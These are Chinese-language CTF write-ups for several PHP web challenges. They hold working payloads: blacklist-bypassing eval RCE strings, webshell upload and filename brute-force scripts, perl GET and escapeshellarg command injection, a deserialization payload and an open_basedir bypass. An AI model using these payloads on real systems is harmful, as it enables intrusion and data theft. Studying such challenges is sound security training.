love math
知识点:代码审计,绕waf
直接给出源码:
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); //字母,数字下滑线,加减乘除与等余等符号 匹配第一位为[a-zA-Z_\x7f-\xff]的任意一个字符,之后的字符为[a-zA-Z_0-9\x7f-\xff]的字符的0个,一个或者多个
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
限制:
1.输入的内容不能有$blacklist中的字符。
2.只匹配数字字母,一些符号。
3.函数只能是$whitelist的函数。
4.输入的长度不能80
绕过思路:
1.调用数学函数逐步拼凑出$_GET或$_POST,来接受参数。
2.异或得到$_GET或$_POST,来接受参数。
发现$
符,;
,{}
,,
,=
,^
没有被过滤.
第一种方法:我们需要一个变量考虑到字符长度问题。选取变量名为pi。因为需要$_GET
,所以要拼出来_GET
字符串,我们可以通过数字转字符串的方式,PHP中可以用16进制转字符串,用到的函数是hex2bin。但是十六进制数有字母,会被当成函数名,所以不能用。进而用十进制,我们需要把十六进制,用十进制显示,用到函数dechex,将十进制转化为十六进制。但是我们发现hex2bin并不在可以使用的函数列表,所以也必须用别的函数代替,我们发现base_convert函数,是将任意进制之间转换,且返回值类型为字符串类型。所以我们构造的_GET
为
$pi=base_convert(37907361743,10,36)(dechex(1598506324));
然后就是构造马的格式了:
($$pi){pow}($$pi{abs}) 即$_GET[pow]($_GET[abs]),用abs和pow是为了让payload变到最短,可以用log,min等替换
然后这就是一个GET样式的马。所以payload为:
/?abs=cat /flag&pow=system&c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pow}($$pi{abs})
第二种方法:
要拼出来_GET
或_POST
字符串,我们可以通过异或的方式得到:
计算出能异或到 _GET
或_POST
的值。进行拼接得到一个马。因为php两个字符串进行异或得到一个新的字符串。
异或脚本:
<?php
error_reporting(0);
header('content-type:text/html;charset=utf-8');
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
foreach ($whitelist as $white){
for ($a=0;$a<99999;$a++){
$result=$white^decoct($a);
if (strpos($result,'_POST')===0){
echo $white."^decoct(".$a.") ";
echo $result.'\n';
}
}
}
得到:
hexdec^decoct(31737) _POST
之后同样是是拼成马,故payload:
/?c=$pi=hexdec^decoct(31737);($$pi){pow}($$pi{abs})
post:
pow=system&abs=cat /flag
[RoarCTF 2019]Easy Calc
知识点:代码执行,# HTTP请求走私
HTTP请求走私
计算器。首先想到的命令执行。
进入题目:
发现说存在waf。。。抓包测试。。。
发现数据提交到clac.php
访问clac.php发现源码:
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
就过滤了这???有点懵啊。试试执行phpinfo,测试传入num=1;phpinfo()
what???禁止访问???传入num=1+1url编码后的值返回2。
这是什么原理???仔细想想说存在waf。经过测试存在http走私。
再次测试,传入
/? num=1;phpinfo()
成功执行,阅读phpinfo发现存在函数禁用:
我们要找flag,肯定要看看目录:scandir()函数要用,但是参数是字符串,单、双引号被过滤。想起了chr()函数,把ascii码值转成字符连一起。就成了啊。同样可以用十六进制,但是需要用到dechex,把十进制数转十六进制。
脚本:
payload='1;var_dump(scandir(%s))'#file_get_contents
exp= "./" #/f1agg
res = ''
for i in exp:
res += "chr(%s)."%(ord(i))
my_payload = payload%(res[:-1])
print my_payload
最后获得flag的payload:
/?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
同样,我们可以借鉴上面love math的第一种方法,用数学函数啊
要使用scandir函数,尝试构造列举根目录下的文件。scandir可以用base_convert函数构造,但是利用base_convert只能解决a~z的利用,因为根目录需要/符号,且不在a~z,所以需要hex2bin(dechex(47))这种构造方式。
最终用readfile构造payload:
/?%20num=base_convert(2146934604002,10,36)(hex2bin(dechex(47)).base_convert(25254448,10,36))
[RoarCTF 2019]Simple Upload
知识点:代码审计,thinkphp
题目直接给出了源码:
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller
{
public function index()
{
show_source(__FILE__);
}
public function upload()
{
$uploadFile = $_FILES['file'] ;
if (strstr(strtolower($uploadFile['name']), ".php") ) {
return false;
}
$upload = new \Think\Upload();// 实例化上传类
$upload->maxSize = 4096 ;// 设置附件上传大小
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
$upload->rootPath = './Public/Uploads/';// 设置附件上传目录
$upload->savePath = '';// 设置附件上传子目录
$info = $upload->upload() ;
if(!$info) {// 上传错误提示错误信息
$this->error($upload->getError());
return;
}else{// 上传成功 获取上传文件信息
$url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
echo json_encode(array("url"=>$url,"success"=>1));
}
}
}
显然是thinkphp写的。
namespace显示为: Home\Controller
所以说模块名为Home,类名叫IndexController,所以控制器名叫Index。
我们上传的文件的函数名叫upload,所以触发器名字叫upload。所以文件上传的url应该为http://434e19a9-9d8a-4603-9f3f-fae4ff5ce6f0.node3.buuoj.cn/Home/Index/upload
,但是我们访问之后返回404。然后尝试访问显示index触发器。发现也是404。尝试访问寻找入口文件:http://434e19a9-9d8a-4603-9f3f-fae4ff5ce6f0.node3.buuoj.cn/index.php
。访问成功。加上index.php 访问上传路由。发现上传点。尝试传一个其他的模块。http://434e19a9-9d8a-4603-9f3f-fae4ff5ce6f0.node3.buuoj.cn/index.php/aaa
发现thinkphp的版本是ThinkPHP3.2.4。
测试上传文件功能发现。功能正常。能够上传。
源码中限制了$_FILES[file]文件名不能是.php文件,得想办法绕过。
$upload->allowExts
并不是Think\Upload类的正确用法,所以allowexts后缀名限制是无效的。
下载ThinkPHP3.2.4。的源码发现,保存的文件名为uniqid函数生成的,uniqid函数是基于以微秒计的当前时间计算的,两个同时上传生成的文件名相差不会太远。
加大爆破范围,最后爆破访问php文件成功直接返回flag。
脚本:
import requests
import time
url = "http://e9eca9a5-67cd-4ee5-9fcb-fc9701e5c789.node3.buuoj.cn/"
path = url + "/index.php/home/index/upload"
files = {"file":("test.txt",'a'), "file1":("a.php", '<?php eval($_GET["a"]);')}
r = requests.post(path, files=files)
t1 = r.text.split("/")[-1].split(".")[0]
print t1
print r.content
t1 = int(t1, 16)
print t1
j = t1
while True:
path = url + "/Public/Uploads/2019-12-08/%s.php" % hex(j)[2:-1]
try:
r = requests.get(path, timeout=1)
time.sleep(0.5)
except:
continue
while r.status_code == 429:
try:
r = requests.get(path, timeout=1)
time.sleep(0.5)
except:
continue
if r.status_code == 200:
print path
print r.text
break
print j, hex(j)[2:-1], r.status_code
j -= 1
由于buu平台问题,访问过快会返回429,所以脚本有些不一样。
SSRFme
知识点: GET命令漏洞。
题目直接给出了源码:
<?php
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
分析源码:
根据REMOTE_ADDR创建沙盒,且通过GET
传入url
和filename
两个参数。通过filename建立新的目录以及文件名,通过url进行shell_exec
的GET命令执行,最终把执行的结果放在新生成的目录下的文件名中。
escapeshellarg函数:
1.确保用户只传递一个参数给命令
2.用户不能指定更多的参数一个
3.用户不能执行不同的命令
把传入的字符串加单引号,如果我传入的是ls
,那么经过函数操作后就变成了'ls'
。同时会对传入的单引号进行一些安全处理,例如传入l's
,那么经过处理就会变成'l'\''s'
。
GET命令漏洞
根本原因还是在于perl
的GET
函数底层实际上调用的是open
处理,而在perl
中,open是可以执行系统命令的。
perl里的GET函数底层就是调用了open处理,并且open函数本身还支持file协议
alex ➜ ~ cat /usr/share/perl5/LWP.pm
...省略
=head2 File Request
The library supports GET and HEAD methods for file requests. The
"If-Modified-Since" header is supported. All other headers are
ignored. The I<host> component of the file URL must be empty or set
to "localhost". Any other I<host> value will be treated as an error.
Directories are always converted to an HTML document. For normal
files, the "Content-Type" and "Content-Encoding" in the response are
guessed based on the file suffix.
Example:
$req = HTTP::Request->new(GET => 'file:/etc/passwd');
...省略
综合看起来像是一个把文件名拼接入命令导致的命令执行。
本机测试:
alex ➜ ~ touch 'uname -a|'
alex ➜ ~ GET 'file:uname -a|'
Linux hacker-virtual-machine 4.15.0-65-generic #74~16.04.1-Ubuntu SMP Wed Sep 18 09:51:44 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
通过以上命令成功执行。这里需要注意的是必须要有存在的文件名才能成功执行命令。所以建了一个uname -a|
。
所以这个题建立命令执行的文件名,再通过file协议去执行就可以了。
首先,我们需要看一下根目录文件。
构造payload:?url=/&filename=alex
访问沙盒http://391babb9-aed6-4d09-b73a-7c09e97707bd.node3.buuoj.cn/sandbox/58d6b1d73392c6051421c6a9a293f985/alex
得到:
发现有flag文件。可以直接读flag。
?url=/flag&filename=b
flag是空的???我去。。但是发现readflag文件,把他读出来。发现readflag似乎是一个二进制文件。
猜测可能需要通过触发readflag来读取flag。
所以需要构造文件名:bash -c /readflag
,但是我们需要的是编译运行bash -c /readflag
所以需要把输出显示出来。所以用管道符。构造payload:
url=&filename=bash -c /readflag| //创建文件生成bash\ -c\ 下的readflag|文件。
url=file:bash -c /readflag|&filename=alex //执行命令,把输出写入alex
http://391babb9-aed6-4d09-b73a-7c09e97707bd.node3.buuoj.cn/sandbox/58d6b1d73392c6051421c6a9a293f985/alex 显示flag。
在注意buuctf上做这个题。需要知道你对应的内网网关ip,可以通过开启一个linux-labs执行curl -v ctfd_frpc_1
来查看。(坑点。。)
[BUUCTF 2018]Online Tool
知识点:PHP escapeshellarg()+escapeshellcmd()导致的参数注入
参考文章:
PHP escapeshellarg()+escapeshellcmd() 之殇
PHP-escapeshell-命令执行
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { //获取IP
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host); //把字符串转码成可以在shell命令里使用的参数,将单引号进行转义,转义之后,再在左右加单引号
$host = escapeshellcmd($host); //对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义,将&#;`|*?~<>^()[]{}$\, \x0A和\xFF以及不配对的单/双引号转义
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox); //新建目录,默认权限,最大可能的访问权
chdir($sandbox); //改变目录路径,成功返回true,失败返回false
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
// -sT,在目标主机的日志上记录大批连接请求和错误的信息
// -Pn,扫描之前不需要用ping命令,有些防火墙禁止使用ping命令
// -T5,时间优化参数,-T0~5,-T0扫描端口的周期大约为5分钟,-T5大约为5秒钟
// --host-time限制扫描时间
// -F,快速扫描
主要的点在:
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
上一题说到escapeshellarg函数会先对host变量中的单引号进行转义,并且转义之后,在 \’ 的左右两边再加上单引号,变成 ‘\’’。
这里仔细讲一下这两个函数:
escapeshellarg
string escapeshellarg(string $arg)
转义字符串$arg
中的单引号并使用单引号包裹此部分
使得$arg
只能传递一个参数,且不能执行不同的命令
escapeshellcmd
string escapeshellcmd ( string $command )
转义`& # ; ` | * ? ~ < > ^ ( ) [ ] { } $` 、`x0A`和`xF`,`'`和`"`仅在落单时被转义
使得$command
只能执行一个命令,但可以传递多个参数。
写一个例子:
<?php
$param = "172.17.0.2' -v -d a=1";
$ep = escapeshellarg($param);
$eep = escapeshellcmd($ep);
$cmd = "curl ".$eep;
echo $ep."\n";
echo $eep."\n";
echo $cmd."\n";
system($cmd);
输出结果:
'172.17.0.2'\'' -v -d a=1'
'172.17.0.2'\\'' -v -d a=1\'
curl '172.17.0.2'\\'' -v -d a=1\'
* Rebuilt URL to: 172.17.0.2\/
解释:
escapeshellarg会把参数转义为'172.17.0.2'\'' -v -d a=1'
,然而escapeshellcmd会发现存在落单的单引号,会再次对单引号进行转义'172.17.0.2'\\'' -v -d a=1\'
导致了\
转义掉,故导致了单引号逃逸。
再来分析这个题:
nmap -oN选项表示将输出导入到文件中
看payload:
' <?php phpinfo();?> -oN shell.php '
经过escapeshellarg处理后:
''\'' <?php phpinfo();?> -oN shell.php '\'''
经过escapeshellcmd处理后:
''\\'' \<\?php phpinfo\(\)\;\?\> -oN shell.php '\\'''
这样就成功写入phpinfo了。
[ZJCTF 2019]NiZhuanSiWei
知识点:反序列化,php伪协议
题目直接给出源码:
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){第一关
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
这个题不难,第一关通过php://input
伪协议,通过post传入welcome to the zjctf
来控制变量text的值,
然后通过php://filter/read=convert.base64-encode/resource=useless.php
来读取文件。
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
然后我们包含这个文件,用password的反序列化来读flag,这里有个坑点,就是他return的不是个flag,我们需要抓包来读。
payload:
/?text=php://input&file=useless.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}
post:
welcome to the zjctf
[SUCTF 2019]EasyWeb
知识点:php特性,绕过open_basedir
题目直接给出了源码:
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}
$hhh = @$_GET['_'];
if (!$hhh){
highlight_file(__FILE__);
}
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
?>
这个题分两关,第一部分是,绕过滤来执行get_the_flag
函数。
首先,限制了长度小于等于18位,然后限制了字符种类。count_chars
函数,参数 “mode 3” 会返回包含所有用过的不同字符的字符串。这里限制无们使用字符的种类不能超过12中。
思路:通过字符异或得到我们想要的字符
首先,我们需要通过fuzz获取到没有被过滤的字符,然后进行异或得到,我们想要的。
fuzz脚本:
<?php
for ($ascii = 0; $ascii < 256; $ascii++) {
if (!preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', chr($ascii))) {
echo bin2hex(chr($ascii));
echo "\n";
}
}
?>
然后,因为限制字符的长度,所以考虑字符长度问题,我们异或得到_GET
最短,进行异或。
这里需要知道的奇淫技巧:
1.代码中没有引号的字符都自动作为字符串。
Php的经典特性“Use of undefined constant”,会将代码中没有引号的字符都自动作为字符串,7.2开始提出要被废弃,不过目前还存在着。
2.Ascii码大于 0x7F 的字符都会被当作字符串
3.php 在获取 HTTP GET 参数的时候默认是获得到了字符串类型
4.PHP中的的大括号(花括号{})使用详解
$str{4}在字符串的变量的后面跟上{}大括号或者中括号[],里面填写了数字,这里是把字符串变量当成数组处理
例:${_GET}{cmd}
5.字符串可以用!操作符来进行布尔类型的转换
<?php
var_dump(@a); //string(1) "a"
var_dump(!@a); //bool(false)
var_dump(!!@a); //bool(true)
6.PHP的弱类型特性
因为要获取'和'{2},就必须有数字2。而PHP由于弱类型这个特性,true的值为1,故true+true==2,也就是('>'>'<')+('>'>'<')==2
7.a-zA-Z使用自增变成下一个字母
'a'++ => 'b'
'b'++ => 'c'
根据以上内容先进行异或。
异或脚本:
#coding=utf-8
import requests
import urllib
l=[] #白名单
b=[] #黑名单
url='http://localhost/buuctf/suctf2019.php'
for x in range(0,256):
# print urllib.quote(chr(x))
url1=url+'?_='+urllib.quote(chr(x))
# print url1
data=requests.get(url1)
if 'Try something else!' not in data.text:
# print urllib.quote(chr(x))
l.append(chr(x))
else:
b.append(chr(x))
def yihuo(str1,whitelist,blacklist):
a1=[]
a2=[]
data='\''
for j in str1:
for h in whitelist:
if ord(h)<=177: # 跳过\x7f前的字符
continue
res=chr(ord(j)^ord(h))
if res not in blacklist:
a1.append(urllib.quote(res))
a2.append(urllib.quote(h))
print 'succcess!--------'+j
break
if h == whitelist[-1]:
print 'error!-----------'+j
for n in a1:
data+=n
data+='\'^\''
for m in a2:
data+=m
data+='\''
return data
print yihuo('_GET',l,b)
得到_GET
,即'%ED%F5%F7%E6'^'%B2%B2%B2%B2'
。因为大于\x7f的字符默认是字符串类型,所以可以省去单引号。之后是构造执行函数:
${%ED%F5%F7%E6^%B2%B2%B2%B2}{%ED}();&%ED=phpinfo
直接执行phpinfo,我们发现存在disable_functions。
没办法直接执行命令。只能通过执行get_the_flag
函数。
再来看get_the_flag
函数,
过滤了后缀含有ph的文件,并且过滤了<?
,这里用到了。htaccess文件和base64编码。来绕过过滤。
上传脚本:
import requests
import base64
url = "http://383c8fe1-feeb-4469-9e91-710d263e4bd3.node3.buuoj.cn/?_=${%ED%F5%F7%E6^%B2%B2%B2%B2}{%ED}();&%ED=get_the_flag"
htaccess = b"""\x00\x00\x8a\x39\x8a\x39
AddType application/x-httpd-php .cc
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_2c67ca1eaeadbdc1868d67003072b481/shell.cc"
"""
shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ base64.b64encode(b"<?php eval($_POST['c']);?>")
#shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ b"<script language='php'>eval($_REQUEST[c]);</script>"
files = [('file',('.htaccess',htaccess,'image/jpeg'))]
data = {"upload":"Submit"}
proxies = {"http":"http://127.0.0.1:8080"}
r = requests.post(url=url, data=data, files=files)#proxies=proxies)
print(r.text)
files = [('file',('shell.cc',shell,'image/jpeg'))]
r = requests.post(url=url, data=data, files=files)
print(r.text)
上传成功获得webshell。这里可以用bypass open_basedir
的新方法.
payload:
chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('flag'));
原理请参考:bypass open_basedir的新方法
如果php版本是php5的话可以尝试这个:php5全版本绕过open_basedir读文件脚本
但是这个题考的其实是 利用PHP-FPM绕过disable_functions
参考:从蚁剑插件看利用PHP-FPM绕过disable_functions
PHP连接方式和攻击PHP-FPM&* CTF echohub WP